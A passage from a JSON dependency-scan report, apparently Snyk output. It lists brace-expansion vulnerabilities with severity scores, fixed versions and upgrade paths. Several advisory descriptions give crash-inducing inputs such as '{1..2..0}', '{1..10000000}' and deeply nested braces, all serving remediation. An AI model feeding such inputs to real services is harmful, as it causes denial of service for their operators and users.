"make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": 